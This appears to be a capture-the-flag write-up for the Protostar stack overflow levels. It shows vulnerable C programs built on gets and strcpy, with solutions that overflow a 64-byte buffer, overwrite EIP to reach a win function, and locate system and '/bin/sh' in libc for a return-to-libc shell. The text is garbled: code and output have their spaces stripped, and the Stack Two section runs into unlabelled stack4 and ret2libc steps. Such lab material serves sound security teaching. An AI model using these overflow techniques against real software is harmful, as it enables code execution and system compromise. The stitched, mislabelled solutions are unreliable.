Task: Modify the modified value and get it to print the message you have changed the 'modified' variable
#include<stdlib.h>#include<unistd.h>#include<stdio.h>intmain(int argc,char**argv){volatileint modified;char buffer[64]; modified =0;gets(buffer);if(modified !=0) {printf("you have changed the 'modified' variable\n"); } else {printf("Try again?\n"); }}
Solution: As we can see, the size of the buffer is 64 bytes and as declared in the code, modified is right before it, so as per the assumption if we pass 64 A's and few B's to the program's input we would be able to modify the value of the variable. We are able to do so as there are no bounds checking on the gets function while taking the input.
# --------------------------------# 64 A'suser@protostar:/opt/protostar/bin$./stack0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATryagain?# --------------------------------# 64 A's and a few B'suser@protostar:/opt/protostar/bin$./stack0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBByouhavechangedthe'modified'variable
Stack One
Task: Modify the value of the modified variable to a specific value (0x61626364) to get the desired branch of the if statements to run.
#include<stdlib.h>#include<unistd.h>#include<stdio.h>#include<string.h>intmain(int argc,char**argv){volatileint modified;char buffer[64];if(argc ==1) {errx(1,"please specify an argument\n"); } modified =0;strcpy(buffer, argv[1]);if(modified ==0x61626364) {printf("you have correctly got the variable to the right value\n"); } else {printf("Try again, you got 0x%08x\n", modified); }}
Solution: As we can see in this problem as well, the variable modified is just after the buffer of size 64 bytes. So we'll follow the same technique as followed in the Stack Zero problem and pass 64 bytes of A's and then pass the actual value that is required i.e. 0x61626364. If you look around you'll realise that the value 0x61626364 is nothing but abcd, but as the processors work with little endian format, we'll have to pass dcba to the program to get the desired output.
# If we pass abcd, we won't get the desired valueuser@protostar:/opt/protostar/bin$./stack1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAabcdTryagain,yougot0x64636261# If we pass dcba we will be able to get the output we are looking foruser@protostar:/opt/protostar/bin$./stack1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcbayouhavecorrectlygotthevariabletotherightvalue
Stack Two
Task: Same as the last two, modify the modified variable to the desired value but this time using the Environment variable as an input.
#include<stdlib.h>#include<unistd.h>#include<stdio.h>#include<string.h>intmain(int argc,char**argv){volatileint modified;char buffer[64];char*variable; variable =getenv("GREENIE");if(variable ==NULL) {errx(1,"please set the GREENIE environment variable\n"); } modified =0;strcpy(buffer, variable);if(modified ==0x0d0a0d0a) {printf("you have correctly modified the variable\n"); } else {printf("Try again, you got 0x%08x\n", modified); }}
Solution: As we can see in the code, the value of GREENIE environment variable is being stored in the variable and then that variable is copied to the buffer without any bounds check. As pointed out earlier, this behaviour is dangerous and as exploited earlier, will be exploited here as well, but this time input will be set via the GREENIE environment variable.
As we can see function win starts at 0x08048424. So we have to make our code jump to that address i.e. overwrite EIP with that value. As we can see in the code, that fp is being called after the input has been stored in the buffer. We can exploit the unbounded copy of buffer and overwrite the fp variable with value of our choice and call the win function.
$msf-pattern_create-l100$echo"PATTERN GOES HERE"|./stack4$dmesg# Copy the segfault error IP and check the offset with $msf-pattern_offset-q63413563# Verify with A and B$python-c'print "A"*76 + "B"*4'|./stack4# Check if dmesg is at 42424242. We are good to go.
Find the address of the function, we want to jump to.
$objdump-d./stack4|grep-4"win"080483f4<win>:# Rest of the code, we are just concerned with the starting # address
Find the offset for EIP as done earlier and it turned out to be 76.
We'll find the address of the functions (system and exit) and a string /bin/sh.
Hijack the EIP and run the system with the /bin/sh parameter and get execution.
(gdb) b*main(gdb) r(gdb) psystem$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>(gdb) pexit$2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>(gdb) iprocmap0xb7e970000xb7fd50000x13e0000/lib/libc-2.11.2.so## This is a very neat trick to find out the offset of something in any file$strings-atx/lib/libc-2.11.2.so|grep"/bin/sh"11f3bf/bin/sh